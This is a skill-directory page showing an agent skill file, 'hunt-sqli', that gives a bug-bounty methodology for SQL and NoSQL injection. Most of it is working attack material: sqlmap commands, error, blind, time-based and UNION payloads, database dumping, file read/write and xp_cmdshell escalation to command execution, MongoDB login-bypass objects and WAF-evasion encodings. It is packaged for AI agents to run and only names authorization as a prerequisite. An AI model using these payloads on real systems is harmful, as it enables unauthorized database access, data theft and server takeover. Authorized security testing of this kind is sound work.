uphiago/recon-skills/hunt-sqli

Claude Code and agent skill by uphiago/recon-skills

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

Hunting skill for sqli vulnerabilities. Built from 12 public bug bounty reports including modern NoSQL injection (Rocket.Chat CVE-2021-22911 MongoDB $regex, Mongoose ORM CVE-2024-53900 $where bypass), modern ORM raw-fragment SQLi (Django CVE-2024-42005, Sequelize GHSA-wrh9-cjv3-2hpw), second-order SOQL injection (HackerOne Salesforce), time-based blind SQLi in GraphQL resolvers, and SQLi on OIDC-proxy backends. Use when hunting SQLi / NoSQLi on any target.

Install

npx vskill@latest install uphiago/recon-skills/hunt-sqli

SKILL.md

The same SKILL.md was published earlier as uphiago/recon-skills/hunt-sqli.

When to Use

Use when the target has any endpoint that interacts with a database — search, filter, sort, login, ID-based lookups, API parameters, or any user input that could be used in a query. SQL injection (including NoSQL injection) remains one of the highest-paying vulnerability classes because it directly threatens data confidentiality, integrity, and availability. Every parameter in GET/POST/JSON/headers/cookies that reaches a backend database is a candidate. Highest-value targets: multi-tenant SaaS platforms, e-commerce/payment systems, search endpoints, analytics subdomains, and third-party plugins.

Prerequisites

  • Explicit authorization, target boundaries, and rate limits for the target.
  • Tooling: curl, mysql, sqlmap.
  • A writable evidence directory: export OUTPUT_DIR="${OUTPUT_DIR:-./output}" && mkdir -p "$OUTPUT_DIR".
  • For any state-changing step (writes, uploads, credential attempts), obtain explicit confirmation immediately before the command.

How to Run

bash
# Baseline
curl --max-time 30 --connect-timeout 10 -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test"
# Inject
curl --max-time 30 --connect-timeout 10 -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test' AND SLEEP(5)--"
# SQLMap quick scan
sqlmap -u "https://target.com/search?q=test" --dbs --level=3 --risk=2 --batch
# SQLMap with POST
sqlmap -u "https://target.com/api/filter" --data="category=electronics&sort=price" --dbs --batch
# SQLMap with cookie auth
sqlmap -u "https://target.com/admin/report" --cookie="session=TOKEN" --dbs --batch --level=5

Procedure

The phases below are the procedure. Keep each probe bounded (--max-time), record evidence beneath OUTPUT_DIR, and stop at the stop-conditions listed in Pitfalls.

Crown Jewel Targets

SQL injection remains one of the highest-paying vulnerability classes in bug bounty because it directly threatens data confidentiality, integrity, and availability at scale.

Highest-value targets:

  • SaaS platforms with multi-tenant databases — one injection can expose all customer data
  • E-commerce/payment systems — PII, card data, transaction records
  • Search endpoints — user-controlled input passed directly to queries (e.g., Rockstar Games /search)
  • Analytics/tracking subdomains — often built fast, tested less (e.g., sctrack.email.[RIDESHARE_CO].cn)
  • Third-party plugins on enterprise installs — WordPress plugins, CMS extensions running on corporate domains (Uber's Huge IT Video Gallery)
  • Internal tooling exposed externally — Apache Airflow, GitHub Enterprise, admin dashboards
  • NoSQL backends (MongoDB) — often overlooked, same injection class, different syntax

Asset types that pay most:

  • Production APIs with /search, /filter, /sort, /report parameters
  • Subdomains with legacy stacks (.cn, .co, .io regional variants)
  • Self-hosted open-sourcetools (Airflow, GitLab, Jenkins) on bounty scope
  • Email tracking and analytics infrastructure

Attack Surface Signals

URL patterns that suggest injectable parameters:

/search?q=
/filter?category=
/sort?by=&order=
/report?start_date=&end_date=
/api/v1/items?id=
/index.php?id=
/gallery?album_id=
/track?uid=&campaign=
?page=&limit=&offset=

Response header signals:

  • X-Powered-By: PHP — likely MySQL/PostgreSQL backend
  • Server: Apache + PHP — classic LAMP stack
  • X-Powered-By: Express — possible MongoDB/NoSQL backend
  • Database error messages leaking in responses (MySQL, PostgreSQL, MSSQL error strings)

JavaScript patterns indicating dynamic query construction:

javascript
// Look for these in JS bundles
fetch(`/api/search?q=${userInput}`)
$.ajax({ url: '/filter?sort=' + param })
axios.get('/report?from=' + startDate + '&to=' + endDate)

Tech stack signals:

  • WordPress sites with third-party plugins (check /wp-content/plugins/)
  • Apache Airflow endpoints (/admin/, /api/experimental/)
  • GitHub Enterprise (/_graphql, /search, /api/v3/)
  • Node.js + MongoDB combinations (check for $where, $regex in request bodies)
  • PHP applications returning verbose MySQL errors

Content-type signals for NoSQL:

  • Content-Type: application/json bodies with nested object parameters
  • Parameters accepting arrays: param[]=value or {"key": {"$gt": ""}}

Step-by-Step Hunting Methodology

  1. Enumerate all input vectors — Use Burp Suite passive scan during normal app usage. Capture every parameter: GET, POST, JSON body, HTTP headers (User-Agent, Referer, X-Forwarded-For), cookies, path segments.
  1. Identify the tech stack — Check response headers, error messages, job postings, Wappalyzer, BuiltWith. Determines which payloads to prioritize (MySQL vs PostgreSQL vs MongoDB).
  1. Baseline the response — Note normal response length, status code, and response time for a clean request. This is your diff baseline.
  1. Send error-based probes — Inject single quote ', double quote ", backtick ` ``, and observe for:
  • Database error messages (immediate confirmation)
  • Response length change
  • HTTP 500 errors
  1. Test boolean-based blind — Send true/false conditions and compare responses:
  • param=1 AND 1=1 vs param=1 AND 1=2
  • If responses differ → likely injectable
  1. Test time-based blind — When no visible difference exists:
  • MySQL: param=1 AND SLEEP(5)
  • PostgreSQL: param=1; SELECT pg_sleep(5)--
  • MSSQL: param=1; WAITFOR DELAY '0:0:5'--
  • Measure response time delta > 5 seconds = confirmed
  1. For NoSQL (MongoDB) — Test object injection via JSON body and PHP-style array params:
  • Replace string value with {"$gt": ""} in JSON
  • Try param[$ne]=invalid in query strings
  1. Automate confirmation — Run sqlmap on confirmed candidates with --level=3 --risk=2 to enumerate databases without manual effort.
  1. Escalate impact — Attempt:
  • UNION-based extraction (enumerate columns first)
  • INFORMATION_SCHEMA dump
  • File read/write (LOAD_FILE, INTO OUTFILE) if permissions allow
  • Stacked queries for RCE (MSSQL xp_cmdshell)
  1. Document the full chain — Capture Burp repeater request/response, sqlmap output, and proof of data extraction (non-sensitive fields only for report).

Payload & Detection Patterns

Initial Error-Based Probes:

sql
'
''
`
')
"))
' OR '1'='1
' OR 1=1--
" OR 1=1--
' OR 1=1#
admin'--

Boolean-Based Blind:

sql
' AND 1=1-- (true condition)
' AND 1=2-- (false condition)
' AND SUBSTRING(version(),1,1)='5'--
1 AND (SELECT COUNT(*) FROM users) > 0--

Time-Based Blind:

sql
-- MySQL
' AND SLEEP(5)--
1; SELECT SLEEP(5)--
-- PostgreSQL
'; SELECT pg_sleep(5)--
1 AND (SELECT 1 FROM pg_sleep(5))--
-- MSSQL
'; WAITFOR DELAY '0:0:5'--
1; EXEC xp_cmdshell('ping -n 5 127.0.0.1')--
-- SQLite
' AND (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))))==1--

UNION-Based (enumerate columns first):

sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 10-- (find column count via error)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,database(),3--
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

NoSQL Injection (MongoDB):

javascript
// JSON body injection
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"$where": "this.username == this.password"}
// Query string injection
username[$ne]=invalid&password[$ne]=invalid
username[$regex]=.*&password[$regex]=.*

PHP Hash/Array Injection:

# Replace scalar with array
param[key]=value
param[$gt]=0
param[$ne]=null

Grep patterns for JS source hunting:

bash
# Find unsanitized query construction in JS
grep -r "query\s*+=" src/
grep -r "WHERE.*\+" src/
grep -r "\.find({" src/ | grep -v "sanitize\|escape"
grep -rE "db\.query\(.*\+" src/

curl time-based detection:

bash
# Baseline
curl --max-time 30 --connect-timeout 10 -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test"
# Inject
curl --max-time 30 --connect-timeout 10 -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test' AND SLEEP(5)--"
# SQLMap quick scan
sqlmap -u "https://target.com/search?q=test" --dbs --level=3 --risk=2 --batch
# SQLMap with POST
sqlmap -u "https://target.com/api/filter" --data="category=electronics&sort=price" --dbs --batch
# SQLMap with cookie auth
sqlmap -u "https://target.com/admin/report" --cookie="session=TOKEN" --dbs --batch --level=5

Burp Intruder payload list for column enumeration:

§1§
§1§,§1§
§1§,§1§,§1§
§1§,§1§,§1§,§1§

Common Root Causes

  1. String concatenation instead of parameterized queries — The #1 root cause. Developers build SQL strings with user input directly: "SELECT * FROM items WHERE id=" + userId.
  1. ORMs bypassed for "performance" — Developer switches from safe ORM to raw query for complex joins or reports: db.query("SELECT " + userColumn + " FROM table").
  1. Search/filter functionality — Sorting and filtering logic is notoriously hard to parameterize (column names can't be bound), leading to allowlist bypasses or no protection at all.
  1. Third-party plugin/library vulnerabilities — Developers trust installed plugins (WordPress, Joomla extensions) without auditing their query logic (Uber's Huge IT Video Gallery case).
  1. Legacy codebases — Old PHP 4/5 code predating PDO/MySQLi prepared statements, still running in production on acquired assets or regional subdomains.
  1. Internaltools promoted to external — Tools like Apache Airflow were designed for internal use with minimal security hardening, then exposed to authenticated external users.
  1. NoSQL false sense of security — Developers believe "we use MongoDB so no SQL injection" and skip input validation entirely, enabling object/operator injection.
  1. Insufficient escaping of ORDER BY / GROUP BY — These clauses cannot use bound parameters, so developers escape manually (and often incorrectly).
  1. HTTP header and non-obvious inputs — User-Agent, Referer, X-Forwarded-For stored in DB without sanitization, assuming they're "trusted" server-side values.

Bypass Techniques

WAF Bypass Techniques:

Keyword obfuscation:

sql
-- Space substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT username FROM users
%09SELECT%09username%09FROM%09users (tab)
SELECT%0Ausername%0AFROM%0Ausers (newline)
-- Case variation
SeLeCt UsErNaMe FrOm UsErS
sElEcT username fRoM users
-- Comment injection
SE/**/LECT username FR/**/OM users
/*!SELECT*/ username /*!FROM*/ users (MySQL version comments)
/*!50000SELECT*/ username FROM users

Encoding bypasses:

URL encode: %27 = ' %20 = space %23 = #
Double URL encode: %2527 = %27 = '
Unicode: ʼ (U+02BC) as quote substitute
HTML entity (in reflected contexts): '

Operator substitution:

sql
-- Avoid "OR" and "AND"
' || '1'='1
' && '1'='1
UNION ALL SELECT (instead of UNION SELECT)

Function substitution:

sql
-- When SLEEP is blocked
BENCHMARK(10000000,MD5(1))
GET_LOCK('a',5)
-- When UNION is blocked
INTO OUTFILE (different extraction method)

Header-based injection to avoid URL WAFs:

bash
curl --max-time 30 --connect-timeout 10 -H "X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--" https://target.com/
curl --max-time 30 --connect-timeout 10 -H "User-Agent: test' AND SLEEP(5)--" https://target.com/
curl --max-time 30 --connect-timeout 10 -H "Referer: https://evil.com/' AND SLEEP(5)--" https://target.com/

JSON/NoSQL WAF bypass:

json
{"username": {"$\u0067t": ""}}
{"user\u006eame": {"$gt": ""}}

This is the start of the file. Read the full SKILL.md on GitHub.

Security

  • Security scanPassed, 95 of 100Pattern checks on the skill's files.
  • Model reviewPassed

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository stars
1,252
Repository forks
214
7-day trend score
36

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/uphiago/recon-skills/hunt-sqli/badge)](https://verified-skill.com/skills/uphiago/recon-skills/hunt-sqli)

Something wrong with this skill or its page? Tell us.